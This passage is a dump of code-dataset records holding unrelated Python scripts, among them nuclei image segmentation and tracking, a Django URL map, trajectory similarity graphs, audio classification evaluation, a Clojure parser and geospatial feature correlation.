re.search('(?<=%s)(?P\\d*)(?=_)' %basename,fname)\n Pos_re = re.search(reg_Pos,fname)\n \n if state_re:\n d['AcqState'] = state_re.group(0)\n \n if T_re:\n d['T'] = int(T_re.group('T'))\n \n if Ch_re:\n d['Ch'] = Ch_re.group('Ch')\n \n if cyc_re:\n if len(cyc_re.group('Cycle'))>0:\n d['Cycle'] = int(cyc_re.group('Cycle'))\n \n if Pos_re:\n if len(Pos_re.group('Pos'))>0:\n d['Pos'] = int(Pos_re.group('Pos'))\n \n dict_list.append(d)\n \ndf_seg = pd.DataFrame(dict_list)\ndf_seg['AcqState'] = pd.Categorical(df_seg['AcqState'],AcqStates)\ndf_seg[['T','Cycle','Pos']] = df_seg[['T','Cycle','Pos']].astype(int,errors='ignore')\ndf_seg = df_seg.loc[[ch not in drop_Chs for ch in df_seg['Ch']]].copy()\ndf_seg = df_seg.sort_values(['Pos','Cycle','AcqState','T','Ch']).reset_index(drop=True)\n\ndf_seg.head()\n\n\n# refine segmentation: take intersection of N consecutive images, and watershed. Do this forward and backward and repeat\nprint('refining segmentation....')\nos.makedirs(analysis_dir+'segm_refined/',exist_ok=True)\n\nN = refinement_setting['N']\nrepeat = refinement_setting['repeat']\n\nsame_previous_setting = False\nif os.path.isfile(analysis_dir+'segm_refined/refinement_setting.json'): \n try:\n with open(analysis_dir+'segm_refined/refinement_setting.json','r') as fp:\n m = json.load(fp)\n same_previous_setting = (m['Code_ver']==code_ver) & (m['N']==N) & (m['repeat']==repeat)\n except:\n print(\"previous refinement setting cannot be loaded. Rerunning refinement..\")\n\nif same_previous_setting:\n print('refined segmentation already exists')\nelse:\n df_grp = df_seg.groupby(['Pos','Cycle'])\n for ind,df in df_grp:\n print(\"Pos %d, Cycle %d processing\" %ind)\n\n #load segmentation results\n labels = []\n\n for i,row in df.reset_index().iterrows():\n label = io.imread(analysis_dir+'segm/'+row['Filename'])\n labels.append(label)\n labels = np.array(labels)\n segs = labels>0\n\n #Foward and backward\n k = 0\n while (k<2*(repeat+1)):\n for i in range(df.shape[0]-N):\n intersect = np.prod(segs[i:i+N],axis=0)\n intersect_l = measure.label(intersect)\n distances = mh.distance(segs[i])\n surface = (distances.max() - distances)\n\n areas = mh.cwatershed(surface,intersect_l)\n new_label = areas*segs[i]\n\n labels[i] = new_label\n segs[i] = new_label>0\n\n labels = labels[::-1]\n segs = segs[::-1]\n k += 1\n\n #Save refined segmentations\n for i,row in df.reset_index().iterrows():\n io.imsave(analysis_dir+'segm_refined/'+row['Filename'],labels[i])\n\n print('Done! \\n')\n\n # save refining setup\n m = {'Code_ver':code_ver,'N':N,'repeat':repeat}\n\n with open(analysis_dir+'segm_refined/refinement_setting.json','w') as fp:\n json.dump(m,fp)\n\n \n\nprint(\"extracting features from raw images and segmentation results....\")\ndf_data = pd.DataFrame()\nlexy_bg = 1e5 #background level\nCh_map_filtered = {ch:Ch_map[ch] for ch in Ch_map if ch in np.unique(df_meta['Ch'].values)}\n\ncurrent_pos = -99\nfor i,row in df_seg.iterrows():\n if current_pos != row['Pos']:\n fr = 0 #reset frame number to 0 for each field\n current_pos = row['Pos']\n \n label=io.imread(analysis_dir+'segm_refined/'+row['Filename'])\n\n print(row['Filename'])\n \n props_dict = {}\n macro_T_dict = {}\n for select_ch in Ch_map_filtered:\n ch_name = Ch_map_filtered[select_ch]\n \n ind = (df_meta['Cycle']==row['Cycle']) & (df_meta['Pos']==row['Pos']) & (df_meta['AcqState']==row['AcqState']) & (df_meta['Ch']==select_ch) & (df_meta['T']==row['T'])\n \n if ind.sum()==0:\n continue\n else:\n fname = df_meta.at[np.where(ind)[0][0],'Filename']\n \n img = io.imread(os.path.join(raw_image_dir,fname))\n \n if 'binning_factor' not in locals():\n binning_factor = int(img.shape[0]/label.shape[0])\n \n img = downsample(img,binning_factor)\n \n if (ch_name == 'LEXY') & (img.min() 0])\n \n newlist.append(newdict)\n \n df_data = pd.concat((df_data,pd.DataFrame(newlist)))\n \n fr += 1\n \n del img, label\n\ndf_data = df_data.reset_index(drop=True)\n\nprint(\"Done!\\n\")\n\n\n#Track nuclei\npos_list = df_data['Pos'].unique()\n\nlink_distance = tracking_setting['link_distance']\nmemory = tracking_setting['memory']\nadaptive_step = tracking_setting['adaptive_step']\nadaptive_stop = tracking_setting['adaptive_stop']\n\ndf_data_tracked = pd.DataFrame()\nfor pos in pos_list:\n print(\"tracking nuclei for Pos %d....\" %int(pos))\n \n df_select = df_data.loc[df_data['Pos']==pos].copy().reset_index(drop=True)\n \n df_select = tp.link(df_select,link_distance,\n pos_columns=['cent_x','cent_y'],\n t_column='frame',memory=memory,\n adaptive_step=adaptive_step,adaptive_stop=adaptive_stop)\n df_select = df_select.rename(columns={'particle':'ID'})\n df_select = df_select.sort_values(['frame','ID'])\n df_select['ID'] = df_select['ID']+1 # to make it start from 1\n\n df_data_tracked = pd.concat((df_data_tracked,df_select))\n \n print(\"Done!\\n\")\n\ndf_data = df_data_tracked.reset_index(drop=True)\n\ndel df_data_tracked\ndel df_select\n\n# save tracking setup\nm = {'Code_ver':code_ver,'link_distance':link_distance,'memory':memory,'adaptive_step':adaptive_step,'adaptive_stop':adaptive_stop}\n\nwith open(analysis_dir+'tracking_setting.json','w') as fp:\n json.dump(m,fp)\n \n\n#normalized meanint to PreLit average and set macro time (clock starts from the beginning of data set) \n# and micro time (clock starts from the beginning of each cycle)\n# For rupture assay, no normalization\n\nprint(\"normalizing....\")\n\ngrp = df_data.loc[df_data['AcqState']=='PreLit'].groupby(['Pos','Cycle','ID'])\nvar_list = ['eccen','area','perimeter']\nvar_list = var_list + ['meanint_'+ch_name for ch_name in Ch_map_filtered.values()]\nprelit_avg = grp[var_list].mean().reset_index().set_index(['Pos','Cycle','ID'])\n\nfor ind,row in prelit_avg.iterrows():\n mask = (df_data['Pos']==ind[0]) & (df_data['Cycle']==ind[1]) & (df_data['ID']==ind[2])\n df_data.loc[mask,'meanint_LEXY_normed'] = (df_data.loc[mask,'meanint_LEXY']-lexy_bg)/(row['meanint_LEXY']-lexy_bg)\n df_data.loc[mask,'stdint_LEXY_normed'] = df_data.loc[mask,'stdint_LEXY']/(row['meanint_LEXY']-lexy_bg)\n #df_data.loc[mask,'meanint_LEXY_normed'] = (df_data.loc[mask,'meanint_LEXY']-lowest_val.at[i,'meanint_LEXY'])/(row['meanint_LEXY']-lowest_val.at[i,'meanint_LEXY'])\n\ndf_data['macro_T'] = df_data['macro_T'] - np.min(df_data['macro_T'])\n \ngrp_T = df_data.groupby(['Pos','Cycle'])['macro_T'].min().reset_index().set_index(['Pos','Cycle'])\nfor ind,row in grp_T.iterrows():\n mask = (df_data['Pos']==ind[0]) & (df_data['Cycle']==ind[1])\n df_data.loc[mask,'micro_T'] = df_data.loc[mask,'macro_T']-row['macro_T']\n \n\nprint(\"Done!\\n\")\n\n\n# Save df_data and movies\n\nprint(\"Saving tracking data.....\")\ndf_data.to_csv(analysis_dir+'nuclei_tracking_results.csv',index=False)\n\n# savedir = analysis_dir+'nuclei_tracking_image/'\n# os.makedirs(savedir,exist_ok=True)\n\n# rmap = getLabelColorMap()\n\n# fig = plt.figure();\n# for i,row in df_seg.iterrows():\n# df_fr = df_data.loc[(df_data['Cycle']==row['Cycle']) \n# & (df_data['Pos']==row['Pos'])\n# & (df_data['AcqState']==row['AcqState'])\n# & (df_data['T']==row['T'])].copy()\n \n# label=io.imread(analysis_dir+'segm_refined/'+row['Filename'])\n \n# lexy_fname = df_meta.at[np.where((df_meta['Cycle']==row['Cycle'])\n# & (df_meta['Pos']==row['Pos'])\n# & (df_meta['AcqState']==row['AcqState']) \n# & np.array([ch in lexy_Chs for ch in df_meta['Ch']]) \n# & (df_meta['T']==row['T']))[0][0],'Filename']\n# lexy = io.imread(raw_image_dir+lexy_fname)\n# lexy = downsample(lexy,binning_factor)\n \n# nucl_fname = df_meta.at[np.where((df_meta['Cycle']==row['Cycle'])\n# & (df_meta['Pos']==row['Pos'])\n# & (df_meta['AcqState']==row['AcqState']) \n# & np.array([ch in nucl_Chs for ch in df_meta['Ch']]) \n# & (df_meta['T']==row['T']))[0][0],'Filename']\n# nucl = io.imread(raw_image_dir+nucl_fname)\n# nucl = downsample(nucl,binning_factor)\n \n# percentile = 99.9\n# if i == 0: #normalization factors for images \n# lexy_high = np.percentile(lexy,percentile)\n# lexy_low = np.percentile(lexy,100-percentile)\n# nucl_high = np.percentile(nucl,percentile)\n# nucl_low = np.percentile(nucl,100-percentile)\n \n# lexy = normalize_image(lexy,low=lexy_low,high=lexy_high)\n# nucl = normalize_image(nucl,low=nucl_low,high=nucl_high)\n \n# # change from pretrack label to posttrack label\n# id_map = df_fr[['pretrack_ID','ID']].drop_duplicates().set_index('pretrack_ID')\n# new_label = label.copy() #post track label\n\n# for preID in np.unique(label[label>0]):\n# new_label = np.where(label==preID,id_map.at[preID,'ID'],new_label)\n\n# fig,axs = showSegmentation(new_label,lexy,nucl,\n# rmap,df_fr,fig=fig,\n# t=df_fr['micro_T'].values[0],\n# state=row['AcqState']);\n \n# fig.savefig(savedir+'frame%06d_Pos%02d_Cycle%03d_%s_%03d.jpg' %(i,int(row['Pos']),int(row['Cycle']),row['AcqState'],int(row['T'])),\n# frameon=False,facecolor=None,edgecolor=None,quality=80);\n\n# plt.clf()\n \n# del df_fr\n# del lexy, nucl, label\n \n# gc.collect()\n \n\nprint(\"Done!\\n\")\n\n\n","sub_path":"nuclei_LEXY_analysis.py","file_name":"nuclei_LEXY_analysis.py","file_ext":"py","file_size_in_byte":15041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"264107235","text":"from django.conf.urls import patterns, include, url\nfrom main_site import views\nfrom django.contrib import admin\nfrom main_site.forms import ArticleForm\nfrom django.views.generic import FormView\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', views.index, name='index'),\n url(r'^main',views.main_site),\n url(r'^dashboard/', include('dashboard.urls'),name='the_dashboard'),\n url(r'^teacher/',include('teacher.urls')),\n url(r'^student/',include('student.urls')),\n url(r'^thesis/',include('thesis.urls')),\n url(r'^email/',include('emailSubscribe.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^accounts/login/$',views.login),\n url(r'^accounts/loggedin/$',views.loggedin),\n url(r'^accounts/invalid/$',views.invalid_login),\n url(r'^accounts/logout/$',views.logout,name='user_logout'),\n url(r'^accounts/auth/$',views.auth_view,name='auth_user'),\n url(r'^accounts/register/$',views.register_user, name='auth_register'),\n url(r'^accounts/register_success/$',views.register_success),\n # url(r'^student/graduation_topics/$',views.student_dashboard),\n url(r'^staff/article/create/$',views.add_articles,name=\"staff_create_article\"),\n url(r'^staff/bulletin/create/$',views.add_bulletin,name=\"staff_create_bulletin\"),\n url(r'^staff/news/create/$',views.add_news,name=\"staff_create_news\"),\n url(r'^staff/course/create/$',views.add_course,name=\"staff_create_course\"),\n url(r'^articles/all/$',views.getArticles, name='get_articles'),\n url(r'^article/(?P\\d+)/$', views.article_detail, name='article_detail'),\n url(r'^article/(?P\\d+)/edit/$', views.ArticleUpdate.as_view(), name='edit_article'),\n url(r'^article/(?P\\d+)/delete/$', views.deleteArticle, name='delete_article1'),\n url(r'^bulletins/all/$',views.getBulletins, name='get_bulletins'),\n url(r'^bulletin/(?P\\d+)/$', views.bulletin_detail,name='bulletin_detail'),\n url(r'^bulletin/(?P\\d+)/edit/$', views.BulletinUpdate.as_view(), name='edit_bulletin'),\n url(r'^news/all/$',views.getNews, name='get_news'),\n url(r'^news/(?P\\d+)/$', views.news_detail,name='news_detail'),\n url(r'^news/(?P\\d+)/edit/$', views.NewsUpdate.as_view(), name='edit_news'),\n url(r'^courses/all/$',views.getCourses, name='get_courses'),\n url(r'^course/(?P\\d+)/$', views.course_detail,name='course_detail'),\n url(r'^course/(?P\\d+)/edit/$', views.CourseUpdate.as_view(), name='edit_course'),\n\n url(r'^search/article/$',views.search_content,name='search_content'),\n url(r'^files/create/$',views.createFile,name='upload_file'),\n\n \n # url(r'^markdown/$', FormView.as_view(\n # template_name=\"baz.html\",\n # form_class=MarkdownForm)),\n # url(r'^ghost/$',views.ghost_preview,name=\"ghostdown\"),\n)\n","sub_path":"django_project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"53286755","text":"# -*- coding: utf-8 -*-\n# Interpreter 133.133.30.99 python 2.7.5\n\n# 利用轨迹数据生成供Louvain算法处理的带权无向图\n\nfrom limiao.uic.common.distance import similarity_ODT_preprocessing\nfrom limiao.uic.common.distance import similarity_ODT\nfrom limiao.uic.common.file_util import get_file_list\nfrom limiao.uic.common.dir_util import root_dir\nfrom limiao.uic.common.time_util import get_time\n\n\ndef load_coarse_cluster(f):\n \"\"\"\n 加载单个coarse cluster\n :param f: file of coarse cluster\n :return:\n \"\"\"\n with open(f, \"r\", encoding=\"UTF-8\") as file_object:\n cluster = file_object.readlines()\n return cluster\n\n\ndef generate_map_multi_process(i, coarse_cluster):\n \"\"\"\n 多线程\n 生成带权图,计算距离和时间间隔,暂不计算相似度\n :param coarse_cluster:\n :param coarse_cluster_index: coarse cluster编号\n :return:\n \"\"\"\n result = []\n record_count = len(coarse_cluster)\n odt1 = coarse_cluster[i]\n for j in range(i+1, record_count):\n odt2 = coarse_cluster[j]\n interval, dis_o, dis_d = similarity_ODT_preprocessing(odt1, odt2)\n result.append(\n str(i) + \"\\t\" + str(j) + \"\\t\" + str(0.0) + \"\\t\" + str(interval) + \"\\t\" + str(dis_o) + \"\\t\" + str(dis_d) + \"\\n\")\n return result\n\ndef generate_map(coarse_cluster, coarse_cluster_index):\n \"\"\"\n 生成带权图,计算距离和时间间隔,并保存为graph格式\n :param coarse_cluster:\n :param coarse_cluster_index: coarse cluster编号\n :return:\n \"\"\"\n result = []\n record_count = len(coarse_cluster)\n file = open(root_dir + \"\\\\uic_all\\similarity_graph\\\\\" + str(coarse_cluster_index) + \".txt\", \"w\", encoding=\"UTF-8\")\n for i in range(0, record_count):\n for j in range(i+1, record_count):\n odt1 = coarse_cluster[i]\n odt2 = coarse_cluster[j]\n interval, dis_o, dis_d = similarity_ODT_preprocessing(odt1, odt2)\n result.append(str(i) + \"\\t\" + str(j) + \"\\t\" + str(0.0) + \"\\t\" + str(interval) + \"\\t\" + str(dis_o) + \"\\t\" + str(dis_d) + \"\\n\")\n result_length = len(result)\n if result_length % 100000 == 0:\n file.writelines(result)\n result = []\n file.writelines(result)\n file.close()\n\n\ndef generate_similarity(coarse_cluster_index):\n with open(root_dir + \"\\\\uic_all\\similarity_graph\\\\\" + str(coarse_cluster_index) + \".txt\", \"r\", encoding=\"UTF-8\") as file_graph_in:\n graph = file_graph_in.readlines()\n results = []\n for line in graph:\n line = line.strip(\"\\n\").split(\"\\t\")\n interval = int(line[3])\n dis_O = float(line[4])\n dis_D = float(line[5])\n if interval <= 40 and dis_O <= 4.5 and dis_D <= 4.5:\n line[2] = str(similarity_ODT(dis_O, dis_D, interval))\n results.append(\"\\t\".join(line) + \"\\n\")\n\n with open(root_dir + \"\\\\uic_all\\similarity_graph\\\\\" + str(coarse_cluster_index) + \".txt\", \"w\", encoding=\"UTF-8\") as file_graph_out:\n file_graph_out.writelines(results)\n\n\nif __name__ == \"__main__\":\n f_list = get_file_list(root_dir + \"\\\\uic_all\\coarse_clusters\", [])\n for fi in f_list:\n if \"_12\" in fi and int(fi.split(\"\\\\\") [-1].split(\"_\")[0]) == 16:\n print(fi)\n c = load_coarse_cluster(fi)\n print(len(c))\n cluster_index = int(fi.split(\"\\\\\")[-1].split(\"_\")[0])\n\n if True:\n # 重新计算距离和时间间隔\n # generate_map(c, cluster_index)\n from multiprocessing import Pool\n from tqdm import tqdm\n import multiprocessing\n import functools\n\n partial_generate = functools.partial(generate_map_multi_process, coarse_cluster=c)\n with Pool(multiprocessing.cpu_count()) as p:\n result = list(tqdm(p.imap(partial_generate, range(len(c)), chunksize=10),\n total=len(c), desc='generate map'))\n\n # with open(root_dir + \"\\\\uic_all\\similarity_graph\\\\\" + str(cluster_index) + \"_sparse.txt\", \"w\",\n # encoding=\"UTF-8\") as file_graph_out:\n # for line in result:\n # for item in line:\n # file_graph_out.write(item)\n\n # print(get_time())\n # generate_similarity(cluster_index)\n # print(get_time())\n\n\n\n","sub_path":"limiao/uic/odtc_all/generate_similarity_graph.py","file_name":"generate_similarity_graph.py","file_ext":"py","file_size_in_byte":4439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"232979","text":"class InfoClass:\n def __init__(self,\n code_smell,\n pos_line,\n pos_col,\n pos_path,\n info,\n solution,\n code):\n self.code_smell = code_smell\n self.pos_line = pos_line\n self.pos_col = pos_col\n self.pos_path = pos_path\n self.info = info\n self.solution = solution\n self.code = code\n","sub_path":"PyCS/utils/InfoClass.py","file_name":"InfoClass.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"420344251","text":"import nltk\nimport argparse\nfrom text_seg import TextSplitter\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-input_file\", default='./input.txt', help='input_file')\n parser.add_argument('-output_file', default='./seg.txt', help='seg_file')\n parser.add_argument('-base_dir', default='../', help='base_dir')\n args = parser.parse_args()\n\n input_file = args.input_file\n seg_file = args.output_file\n base_dir = args.base_dir\n\n with open(input_file) as f:\n text = f.read()\n f.close()\n\n\n model_dir = base_dir + \"models/\"\n token_model_path = base_dir + \"model.pt\"\n splitter = TextSplitter(model_dir, token_model_path) \n title, segments, keywords, subtitles = splitter.split(text)\n\n # segments = ['1111111111', '2222222222', '33333333333333', '222222222222']\n # keywords = [['ww', 'eee'], [''], [\"rr\"], [\"3\"]]\n\n # print(segments)\n # print(keywords)\n\n\n with open(seg_file, 'w') as f:\n print(title, file=f)\n for seg, kw, st in zip(segments, keywords, subtitles):\n if st == '' and len(kw) == 0:\n continue\n if st == '':\n print(\" @\", file=f, end='')\n else:\n print(st + '@', file=f, end='')\n if len(kw) == 0:\n print(seg, file=f)\n else:\n print('@'.join(kw), file=f)\n \n f.close()","sub_path":"SlidesDrafter/model/text-seg/seg.py","file_name":"seg.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"584541645","text":"from keras.layers import Input, Dense, Conv1D, MaxPooling1D, UpSampling1D\nfrom keras.models import Model\nfrom keras import backend as K\nfrom keras.utils import plot_model\nfrom keras.callbacks import TensorBoard\nfrom keras.callbacks import EarlyStopping\nfrom keras.models import model_from_json\nimport json\nimport time\nimport sys, getopt\nimport librosa\nimport os\nimport random\nimport numpy as np\nfrom sklearn.manifold import SpectralEmbedding\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import classification_report, confusion_matrix\n\n\n\n#labels = ['a_n', 'a_l','a_h', 'a_lhl','i_n', 'i_l','i_h', 'i_lhl', 'u_n', 'u_l','u_h', 'u_lhl',]\nlabels = ['a','i', 'u',]\n\n\njson_file = \"./config.json\"\n# Return a list of audio files\ndef get_audiofiles(folder):\n list_of_audio = []\n for file in os.listdir(folder):\n if file.endswith(\".wav\"):\n directory = \"%s/%s\" % (folder, file)\n list_of_audio.append(directory)\n return list_of_audio\n\n\n# Get the input json file\ntry:\n myOpts, args = getopt.getopt(sys.argv[1:], \"i:\")\nexcept getopt.GetoptError as e:\n print(str(e))\n print(\"Usage: %s -i \" % sys.argv[0])\n sys.exit(2)\n\nfor o, a in myOpts:\n if o == '-i':\n json_file = a\n\nwith open(json_file) as file:\n cp = json.load(file)\n\n# Build training set\naudio_files = get_audiofiles(cp[\"test_folder\"])\nwindow_size = cp[\"window_size\"]\nstep_size = cp[\"step_size\"]\nprint(\"Window_size: \", window_size, \"Step_size: \", step_size)\ny_train = np.array([])\nx_train = np.array([])\nfor file in audio_files:\n audio_samples, sample_rate = librosa.load(file)\n audio_samples=librosa.resample(audio_samples, sample_rate, cp[\"sample_rate\"])\n no_of_examples = int((audio_samples.shape[0]-window_size)/step_size)-1\n # dt = time between each feature vector\n dt = step_size/sample_rate\n print(\"Extracting features from \", file, \"# samples: \", audio_samples.shape, \" sr: \", cp[\"sample_rate\"], \" dt: \", dt, \"# features: \", no_of_examples)\n\n #for i in range(no_of_examples):\n y_vector = np.zeros(len(labels))\n label = str.split(file, '.')[1]\n label = str.split(label, \"-\")[1]\n label = str.split(label, \"_\")[0]\n y_vector[labels.index(label)] = 1\n for i in range(no_of_examples):\n y = audio_samples[(i*step_size):(i*step_size+window_size)]\n x_train = np.append(x_train, y)\n label = str.split(file, '.')[1]\n label = str.split(label, \"-\")[1]\n label = str.split(label, \"_\")[0]\n #y_train = np.append(y_train, labels.index(label))\n y_train = np.append(y_train, y_vector)\n\nx_train = np.reshape(x_train, (int(len(x_train)/window_size), window_size, 1))\ny_train = np.reshape(y_train, (int(len(y_train) / len(labels)), len(labels), 1))\n#x_train += 1\n#x_train *= 0.4\n\n# Restore the model\n# load json and create model\njson_file = open('model.json', 'r')\nloaded_model_json = json_file.read()\njson_file.close()\nmodel = model_from_json(loaded_model_json)\n# load weights into new model\nmodel.load_weights(\"model.h5\")\nprint(\"Loaded model from disk\")\n\n\n# Reading the output of the encoder layer\ny_predict = np.array([])\nprint(\"Reading the encoder output\")\n#x_predict = np.reshape(x_predict, (1,800,1))\n# x_predict = x_train[i:i+1][:][:]\n# intermediate_output = model.predict(x_predict)\ny_predict = model.predict(x_train)\ny_predict = np.reshape(y_predict, (y_train.shape[0],y_train.shape[1]))\nprint(\"Y-predict shape: \", y_predict.shape)\nprint(\"Y-train shape: \", y_train.shape)\n#print(\"Y-train: \", y_train[i], \" Y-predict: \", y_predict[i])\n# model.predict(x_predict, batch_size=1)\n# layer_value = model.layers[3].output.eval(session= K.get_session())\n# print(type(intermediate_output), intermediate_output.shape)\n#x_cluster = np.append(x_cluster, model.layers[3].output)\n\n# Print the confusion matrix\n\n#Y_pred = model.predict_generator(validation_generator, num_of_test_samples // batch_size+1)\n#y_pred = np.argmax(Y_pred, axis=1)\n#x = np.where(y_predict[:, 0:y_predict.shape[1]] == np.amax(y_predict[:, 0:y_predict.shape[1]]))\nx = np.zeros(y_predict.shape)\nxc = np.zeros([y_predict.shape[0]])\ny = np.zeros(y_predict.shape)\nyc = np.zeros([y_predict.shape[0]])\nfor i in range(y_predict.shape[0]):\n m = np.amax(y_predict[i, :])\n x[i,np.where(y_predict[i, :] == m)] = 1\n xc[i] = np.where(y_predict[i, :] == m)[0]\n m = np.amax(y_train[i, :])\n y[i,np.where(y_train[i, :] == m)] = 1\n yc[i] = np.where(y_train[i, :] == m)[0]\nprint('Classification Report')\nprint(classification_report(x, y, target_names=labels))\nprint('Confusion Matrix')\nprint(confusion_matrix(xc, yc))","sub_path":"predict_raw.py","file_name":"predict_raw.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"164900828","text":"# encoding: utf-8\n\"\"\"\nShameless copied from Peter Norvig's\n(How to Write a (Lisp) Interpreter (in Python))\n\nhttp://norvig.com/lispy.html\n\nSlightly modified and adapted to read and return valid clojure code.\n\"\"\"\n\nSymbol = str\nList = list\nNumber = (int, float)\n\n\ndef tokenize(chars):\n \"Convert a string of characters into a list of tokens.\"\n return chars.replace('(', ' ( ').replace(')', ' ) ').split()\n\n\ndef atom(token):\n \"Numbers become numbers; every other token is a symbol.\"\n try: return int(token)\n except ValueError:\n try: return float(token)\n except ValueError:\n return Symbol(token)\n\n\ndef read_from_tokens(tokens):\n \"Read an expression from a sequence of tokens.\"\n if len(tokens) == 0:\n raise SyntaxError('unexpected EOF while reading')\n token = tokens.pop(0)\n if '(' == token:\n L = []\n while tokens[0] != ')':\n L.append(read_from_tokens(tokens))\n tokens.pop(0) # pop off ')'\n return L\n elif ')' == token:\n raise SyntaxError('unexpected )')\n else:\n return atom(token)\n\n\ndef dump(tokens):\n form = []\n multi_forms = type(tokens[0]) == list\n for leaf in tokens:\n if type(leaf) == list:\n form.append(dump(leaf))\n if multi_forms:\n form.append('\\n')\n else:\n form.append(leaf)\n if multi_forms:\n joined = \"\".join(map(str, form))\n else:\n joined = \"({})\".format(\" \".join(map(str, form)))\n\n if \" # \" in joined:\n joined = ' #'.join(joined.split(' # '))\n\n return joined\n\n\ndef parse(program):\n \"Read a clojure expression from a string.\"\n return read_from_tokens(tokenize(program))\n\n\ndef remove_comment(tokens):\n tks = list(tokens)\n if 'comment' in tks:\n tks.remove('comment')\n return tks\n\ndef transform(code, *token_fns):\n tks = parse(code)\n for fn in token_fns:\n tks = fn(tks)\n return dump(tks)\n","sub_path":"rplugin/python3/acid/pure/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"621218452","text":"\nimport geopandas as gpd\nimport pandas as pd\nimport geojsonio\nfrom shapely.geometry import Point, Polygon, shape, LineString\nfrom shapely.ops import cascaded_union\nfrom scipy.spatial import cKDTree,distance_matrix\nimport numpy as np\nimport missingno as msn\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Patch\nfrom matplotlib.lines import Line2D\nfrom matplotlib.collections import LineCollection\nfrom sklearn.decomposition import PCA\nimport os, argparse, fiona, re, mds, commons\nimport distribution as Dist\nfrom PIL import Image\nimport core\nimport imageBasedInputPostProcessing as IBIPP\nimport elevationRequest as elevationPlots\nfrom scipy.stats import pearsonr\n\n\nfloat_formatter = lambda x: \"%.2f\" % x\nnp.set_printoptions(formatter={'float_kind':float_formatter})\n\ncityName = 'Pittsburgh'\noutputPath = commons.getOutputPath(cityName)\nwaterImg = core.openImgNameAsGreyScale(commons.getWaterInputChannelName(cityName))\nparkImg = core.openImgNameAsGreyScale(commons.getParkInputChannelName(cityName))\nfeatureDistBoundImgName = commons.getFeatureDistBoundImgName(cityName)\nfeatureMaskImgName = commons.getFeatureMaskImgName(cityName)\ngroundTruthImgName = commons.getGroundTruthImgName(cityName)\n\nimWater = core.openImgNameAsGreyScale(commons.getWaterInputChannelName(cityName))\nimPark = core.openImgNameAsGreyScale(commons.getParkInputChannelName(cityName))\nimElevation = np.asarray(Image.open(commons.appendPng('{}{}_ElevationMerge'.format(outputPath, cityName))).convert('RGB'))\nimElevationMean = np.asarray(Image.open(commons.appendPng('{}{}_ElevationMeanMerge'.format(outputPath, cityName))).convert('RGB'))\nimParkPercentage = np.asarray(Image.open(commons.appendPng('{}{}_ParkPercentageMerge'.format(outputPath, cityName))).convert('RGB'))\nimElevationVar = np.asarray(Image.open(commons.appendPng('{}{}_ElevationVarMerge'.format(outputPath, cityName))).convert('RGB'))\nimElevationMin = np.asarray(Image.open(commons.appendPng('{}{}_ElevationMinMerge'.format(outputPath, cityName))).convert('RGB'))\nimDistBound = np.asarray(Image.open(commons.appendPng(featureDistBoundImgName)).convert('RGB'))\nimInputMasks = np.asarray(Image.open(commons.appendPng(featureMaskImgName)).convert('RGB'))\nimGroundTruth = np.asarray(Image.open(commons.appendPng(groundTruthImgName)).convert('RGB'))\n\nh,w, _ = imWater.shape\nprint(h)\nprint(w)\nfeatureList = [imWater[:,:,0], imPark[:,:,0], imElevation[:,:,0], imElevation[:,:,1], imElevationMean[:,:,0], imElevationMean[:,:,1], imElevationMean[:,:,2],\\\n imElevationVar[:,:,0], imElevationVar[:,:,1], imElevationVar[:,:,2], imElevationMin[:,:,0], imElevationMin[:,:,1], imElevationMin[:,:,2],\\\n imParkPercentage[:,:,0],imParkPercentage[:,:,1],imParkPercentage[:,:,2]]\nfeatureListNm = ['distWater', 'distPark', 'elev', 'elevGrad', 'elevMean4','elevMean10', 'elevMean20',\\\n'elevVar4', 'elevVar10', 'elevVar20', 'elevMin4', 'elevMin10', 'elevMin20',\\\n'parkPercentage4', 'parkPercentage10', 'parkPercentage20']\nprint(\"features being tested: {}\".format(featureListNm))\nfeatureNum = len(featureListNm)\nfeatureMatrix = np.zeros((h * w, featureNum))\nassert(len(featureListNm) == len(featureList))\ncountIdx = 0\nfor featureIm in featureList:\n featureMatrix[:, countIdx] = featureIm.reshape((h*w))\n countIdx = countIdx + 1\n\nCORRELATIONMATRIX = False\nif CORRELATIONMATRIX:\n correlationMatrix = np.zeros((featureNum, featureNum))\n corrPairs = []\n corrNamePairs = []\n for i in range(featureNum):\n for j in range(featureNum):\n corr, pVal = pearsonr(featureMatrix[:,i],featureMatrix[:,j])\n correlationMatrix[i][j] = corr\n if (abs(corr) > 0.8):\n if (i > j):\n corrPairs.append((i,j, corr))\n corrNamePairs.append((featureListNm[i],featureListNm[j], corr))\n print(\"correlation Matrix:\")\n print(correlationMatrix)\n print(\"idx pairs with >0.8 |correlation|\")\n print(corrPairs)\n print(\"name pairs with >0.8 |correlation|\")\n for p in corrNamePairs:\n print(p)\n\n\n print(\"After removing features:\")\n featureListSelected = [\\\n imWater[:,:,0], imPark[:,:,0], imElevation[:,:,0], imElevation[:,:,1],\\\n imElevationVar[:,:,0], imElevationVar[:,:,2], imElevationMin[:,:,2],\\\n imParkPercentage[:,:,0],imParkPercentage[:,:,2]]\n featureListNmSelected = ['distWater', 'distPark', 'elev', 'elevGrad',\\\n 'elevVar4', 'elevVar20', 'elevMin20',\\\n 'parkPercentage4', 'parkPercentage20']\n assert(len(featureListSelected) == len(featureListNmSelected))\n print(\"Selected features: {}\".format(featureListNmSelected))\n\n featureNum = len(featureListSelected)\n 